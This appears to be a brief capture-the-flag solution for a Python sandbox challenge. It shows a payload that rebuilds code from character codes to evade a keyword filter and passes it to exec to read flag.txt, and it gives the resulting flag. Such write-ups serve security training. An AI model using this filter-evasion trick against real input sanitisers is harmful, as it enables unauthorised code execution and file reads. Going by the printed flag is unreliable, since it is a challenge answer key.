Try reading the file if you can AHAHAHAHAHAH
By writing the string in the form of numbers you avoid censorship, so just rearrange it and execute it:
solve = 'exec( "".join([ chr(i) for i in [112, 114, 105, 110, 116, 40, 111, 112, 101, 110, 40, 39, 102, 108, 97, 103, 46, 116, 120, 116, 39, 44, 39, 114, 39, 41, 46, 114, 101, 97, 100, 40, 41, 41] ]) )'CodeVinciCTF{4_v3r1 34s1_t0_r34d_f1l3_r1gh7?}
sDibuon
benjamin